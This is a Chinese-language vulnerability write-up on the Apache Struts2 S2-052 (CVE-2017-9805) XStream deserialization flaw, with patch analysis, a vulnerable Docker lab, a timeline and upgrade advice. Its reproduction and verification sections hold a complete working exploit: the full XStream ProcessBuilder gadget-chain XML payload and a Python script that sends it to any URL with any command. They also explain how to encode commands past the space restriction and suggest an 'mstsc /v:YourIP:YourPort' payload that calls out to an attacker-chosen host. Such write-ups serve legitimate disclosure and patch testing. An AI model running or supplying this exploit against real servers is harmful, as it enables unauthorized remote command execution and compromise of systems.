0x01. 事件概述
北京时间9月6日21时,Apache官方发布了一则公告称,Struts2修复了一个影响等级为严重的远程代码执行漏洞,编号为 S2-052,公告中对该漏洞的简要描述:
Struts2-REST插件使用带有 XStream实例的 XStreamHandler进行反序列化操作而不对数据进行任何类型检查,这将可能导致在对 XML数据进行序列处理时,执行远程代码。
漏洞影响版本:
Struts 2.1.2 - Struts 2.3.33,
Struts 2.5 - Struts 2.5.12
0x02. 漏洞分析
首先从github上的commit 记录找出补丁代码:





根据上面的代码截图来看,原来的 XStreamHandler 中出现了一些变化,由ContentTypeHandler 替换为 AbstractContentTypeHandler,同时增加了几个拒绝不安全的类执行的方法,在进行反序列化操作前进行检查。由于调用反序列化的接口是handler的toObject方法,因此对调用toObject的地方进行查找。

通过查阅资料, REST插件在处理不同类型请求时会通过ContentTypeInterceptor 进行操作,因此我们将目光放在ContentTypeInterceptor.Java 这个文件上。

intercept的功能主要为自动根据Content-Type 类型选择对应的handler进行反序列化操作,当ContentType为application/xml时,intercept会选择XStreamHandler 进行处理,但intercept和XStreamHandler类都没有对数据进行任何校验或无害化处理,直接进行了反序列化操作,从而导致了此次漏洞发生。
0x03. 漏洞复现
前期环境配置:
java8
Apache Tomcat 7.0
Struts-2.5.5~2.5.12 (rest_plugin)
或者使用docker环境,在这里提供一份关于漏洞环境的dockerfile
FROM tomcat:8.0-jre8
WORKDIR /tmp
RUN rm -rf /usr/local/tomcat/webapps/ \
&& chmod a+x /usr/local/tomcat/bin/*.sh
COPY struts2-rest-showcase.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080
CMD ["/usr/local/tomcat/bin/catalina.sh", "run"]
当环境搭建完成,访问浏览器页面 http:// 127.0.0.1:8080/orders,将会显示和图中类似的页面:

构造POST请求:
POST请求中有几个需要注意:
需要将ContentType 设置为application/xml
在构造payload时,命令中不允许存在空格,如若存在,则使用<string>标签包裹非空格的部分,如需要构造payload为 `touch /tmp/ht-sec-hunter`,则需要构造payload为`<string>touch</string><string>/tmp/ht-sec-hunter</string>`
由于环境是linux,所以我们设定 payload为`touch /tmp/ht-sec-hunter` ,发送请求后可以发现tmp目录下多出 ht-sec-hunter文件 ,复现成功。

如果环境为Windows,可以将 payload改为 `mstsc /v:YourIP:YourPort`来验证是否存在漏洞,这里不再进行演示。
0x04. 时间线
2017 年 8 月 2日,官方人员在github上对XStream 及相关api 进行修补
2017 年8月25日 S2-052 条目在 Security Bulletins 上建立
2017年9月5日 Struts版本2.5.13发布
2017年 9月5日 公布了 S2-052/CVE-2017-9805的漏洞细节Using QL to find a remote code execution vulnerability in Apache Struts (CVE-2017-9805)(https://lgtm.com/blog/apache_struts_CVE-2017-9805 )
0x05. 漏洞验证与修复
# coding=utf-8
import requests
import sys
class POC:
def __init__(self):
self.url = ''
self.pocInfo = {
'author': ['ht-sec'],
'vulnDate': '2017-09-06',
'createDate': '2017-09-06',
'reference': ['https://cwiki.apache.org/confluence/display/WW/S2-052'],
'pocName': 's2-052_rest_plugin_rce',
'appLink': 'http://struts.apache.org/',
'appName': 'struts2',
'appVersion': '2.5.5-2.5.12',
'desc': '''Struts2-REST插件使用带有 XStream实例的 XStreamHandler进行反序列化操作而不对数据进行任何类型检查,这将可能导致在对 XML数据进行序列处理时,执行远程代码''',
'samples': [''],
}
def verify(self,url = None,command = "touch /tmp/test"):
try:
payload = """<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"><command>{0}</command><redirectErrorStream>false</redirectErrorStream></next> </iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method> <class>java.lang.ProcessBuilder</class><name>start</name> <parameter-types/></method><name>foo</name></filter><next>foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer></ibuffer> <done>false</done><ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed></is><consumed>false</consumed></dataSource> <transferFlavors/></dataHandler><dataLen>0</dataLen></value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry> <entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>"""
target = self.url if self.url else url
command = self.commandAnalyz(command)
payload = payload.format(command)
if target:
header = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type': 'application/xml'
}
task = requests.post(target,headers = header,data=payload)
if task.status_code == 500:
return True
except :
pass
def commandAnalyz(self,strcommand):
pcode = '<string>{0}</string>'
temp = ''
task = strcommand.split(' ')
for ele in task:
temp += pcode.format(ele)
return temp
if __name__ == '__main__':
url = sys.argv[1]
command = sys.argv[2]
test = POC()
print test.verify(url,command)
上述为漏洞验证poc,需要在目标机上校验信息
修补建议:
升级至Upgrade to Struts 2.5.13 /2.3.34
没有比较好的解决方法,最好的选择是在不使用时删除Struts REST插件
0x06. 相关资料
https://lgtm.com/blog/finding_unsafe_deserialization_with_ql
https://lgtm.com/blog/apache_struts_CVE-2017-9805
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805
https://cwiki.apache.org/confluence/pages/recentlyupdated.action?key=WW
https://cwiki.apache.org/confluence/display/WW/S2-052
https://github.com/apache/struts/commit/3bd072ca053aed787f3a16865266d8832fcd18b0

